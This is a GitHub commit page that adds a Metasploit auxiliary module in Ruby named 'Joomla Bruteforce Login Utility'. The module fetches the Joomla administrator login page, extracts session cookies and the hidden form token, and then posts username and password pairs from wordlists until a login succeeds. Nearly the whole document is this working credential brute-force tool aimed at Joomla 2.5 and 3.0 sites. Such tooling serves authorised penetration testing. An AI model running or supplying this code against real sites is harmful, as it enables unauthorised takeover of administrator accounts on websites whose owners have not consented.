Skip to content

Commit 0168a99

Browse files
author
root
committed
Change name of module and implementation of the recommended changes
1 parent f2eabdb commit 0168a99

File tree

1 file changed

+294
-0
lines changed

1 file changed

+294
-0
lines changed
Lines changed: 294 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,294 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/ntlm/message'
8+
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
16+
include Msf::Auxiliary::Scanner
17+
18+
def initialize
19+
super(
20+
'Name' => 'Joomla Bruteforce Login Utility',
21+
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
22+
'Author' => [ 'luisco100[at]gmail.com' ],
23+
'References' =>
24+
[
25+
[ 'CVE', '1999-0502'] # Weak password Joomla
26+
],
27+
'License' => MSF_LICENSE
28+
)
29+
30+
register_options(
31+
[
32+
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
33+
File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]),
34+
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
35+
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
36+
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
37+
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
38+
OptString.new('AUTH_URI', [ true, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
39+
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against (default:auto)" , "/administrator"]),
40+
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
41+
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
42+
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
43+
OptString.new('REQUEST_TYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
44+
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
45+
], self.class)
46+
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
47+
end
48+
49+
def find_auth_uri
50+
51+
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
52+
paths = [datastore['AUTH_URI']]
53+
else
54+
paths = %W{
55+
/
56+
/administrator/
57+
}
58+
end
59+
60+
paths.each do |path|
61+
res = send_request_cgi({
62+
'uri' => path,
63+
'method' => 'GET'
64+
}, 10)
65+
66+
next unless res
67+
if res.code == 301 || res.code == 302 && res.headers['Location'] && res.headers['Location'] !~ /^http/
68+
path = res.headers['Location']
69+
vprint_status("Following redirect: #{path}")
70+
res = send_request_cgi({
71+
'uri' => path,
72+
'method' => 'GET'
73+
})
74+
next unless res
75+
end
76+
77+
return path
78+
end
79+
80+
return nil
81+
end
82+
83+
def target_url
84+
proto = "http"
85+
if rport == 443 || ssl
86+
proto = "https"
87+
end
88+
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
89+
end
90+
91+
def run_host(ip)
92+
93+
@uri = find_auth_uri
94+
95+
if ! @uri
96+
print_error("#{target_url} No URI found that asks for HTTP authentication")
97+
return
98+
end
99+
100+
@uri = "/#{@uri}" if @uri[0,1] != "/"
101+
102+
print_status("Attempting to login to #{target_url}")
103+
104+
each_user_pass { |user, pass|
105+
do_login(user, pass)
106+
}
107+
end
108+
109+
def do_login(user='admin', pass='admin')
110+
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
111+
112+
response = do_http_login(user,pass)
113+
result = determine_result(response)
114+
115+
if result == :success
116+
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
117+
return :abort if (datastore['STOP_ON_SUCCESS'])
118+
return :next_user
119+
else
120+
vprint_error("#{target_url} - Failed to login as '#{user}'")
121+
return
122+
end
123+
end
124+
125+
def do_http_login(user,pass)
126+
127+
@uri_mod = @uri
128+
129+
if datastore['REQUEST_TYPE'] == "GET"
130+
131+
@uri_mod = "#{@uri}?username=#{user}&psd=#{pass}"
132+
133+
begin
134+
response = send_request_cgi({
135+
'uri' => @uri_mod,
136+
'method' => datastore['REQUEST_TYPE'],
137+
'username' => user,
138+
'password' => pass
139+
})
140+
return response
141+
rescue ::Rex::ConnectionError
142+
vprint_error("#{target_url} - Failed to connect to the web server")
143+
return nil
144+
end
145+
else
146+
147+
begin
148+
149+
user_var = datastore['USER_VARIABLE']
150+
pass_var = datastore['PASS_VARIABLE']
151+
152+
referer_var = "http://#{rhost}/administrator/index.php"
153+
ctype = 'application/x-www-form-urlencoded'
154+
155+
uid, cval, hidden_value = get_login_cookie
156+
157+
if uid
158+
index_cookie = 0
159+
value_cookie = ""
160+
161+
uid.each do |val_uid|
162+
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[index_cookie].strip};"
163+
index_cookie = index_cookie +1
164+
end
165+
166+
value_cookie = value_cookie
167+
vprint_status("Target #{target_url},Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
168+
169+
data = "#{user_var}=#{user}&" \
170+
"#{pass_var}=#{pass}&" \
171+
"lang=&" \
172+
"option=com_login&" \
173+
"task=login&" \
174+
"return=aW5kZXgucGhw&" \
175+
"#{hidden_value}=1"
176+
177+
response = send_request_cgi({
178+
'uri' => @uri_mod,
179+
'method' => datastore['REQUEST_TYPE'],
180+
'cookie' => "#{value_cookie}",
181+
'data' => data,
182+
'headers' =>
183+
{
184+
'Content-Type' => ctype,
185+
'Referer' => referer_var,
186+
'User-Agent' => datastore['UserAgent'],
187+
},
188+
})
189+
190+
vprint_status("#{target_url} -> First Response Code : #{response.code}")
191+
192+
if (response.code == 301 || response.code == 302 || response.code == 303) && response.headers['Location']
193+
194+
path = response.headers['Location']
195+
print_status("Following redirect Response: #{path}")
196+
197+
response = send_request_raw({
198+
'uri' => path,
199+
'method' => 'GET',
200+
'cookie' => "#{value_cookie}",
201+
}, 30)
202+
end
203+
204+
return response
205+
else
206+
print_error("#{target_url} - Failed to get Cookies")
207+
return nil
208+
end
209+
rescue ::Rex::ConnectionError
210+
vprint_error("#{target_url} - Failed to connect to the web server")
211+
return nil
212+
end
213+
end
214+
end
215+
216+
def determine_result(response)
217+
218+
return :abort unless response.kind_of? Rex::Proto::Http::Response
219+
return :abort unless response.code
220+
221+
if [200, 301, 302].include?(response.code)
222+
223+
#print_status("Response: #{response.headers}")
224+
#print_status("Response Code: #{response.body}")
225+
226+
if response.to_s.include? datastore['WORD_ERROR']
227+
return :fail
228+
else
229+
return :success
230+
end
231+
232+
end
233+
return :fail
234+
end
235+
236+
def get_login_cookie
237+
238+
uri = normalize_uri(datastore['FORM_URI'])
239+
uid = Array.new
240+
cval = Array.new
241+
valor_input_id = ''
242+
243+
res = send_request_cgi({'uri' => uri,'method' => 'GET'})
244+
245+
if(res.code == 301)
246+
path = res.headers['Location']
247+
vprint_status("Following redirect: #{path}")
248+
res = send_request_cgi({
249+
'uri' => path,
250+
'method' => 'GET'
251+
}, 10)
252+
end
253+
254+
#print_status("Response Get login cookie: #{res.to_s}")
255+
256+
if res && res.code == 200 && res.headers['Set-Cookie']
257+
#Identify login form and get the session variable validation of Joomla
258+
if res.body && res.body =~ /<form action=([^\>]+)\>(.*)<\/form>/mi
259+
260+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
261+
262+
if form.length == 1 #is not Joomla 2.5
263+
print_error("Testing Form Joomla 3.0")
264+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
265+
end
266+
267+
unless form
268+
print_error("Joomla Form Not Found")
269+
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
270+
end
271+
272+
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
273+
274+
print_status("--------> Joomla Form Found <--------")
275+
276+
input_id = input_hidden[7].split("\"")
277+
278+
valor_input_id = input_id[1]
279+
end
280+
281+
#Get the name of the cookie variable Joomla
282+
283+
#print_status("cookie = #{res.headers['Set-Cookie']}")
284+
res.headers['Set-Cookie'].split(';').each {|c|
285+
if c.split('=')[0].length > 10
286+
uid.push(c.split('=')[0])
287+
cval.push(c.split('=')[1])
288+
end
289+
}
290+
return uid, cval, valor_input_id.strip
291+
end
292+
return nil
293+
end
294+
end

0 commit comments

Comments
 (0)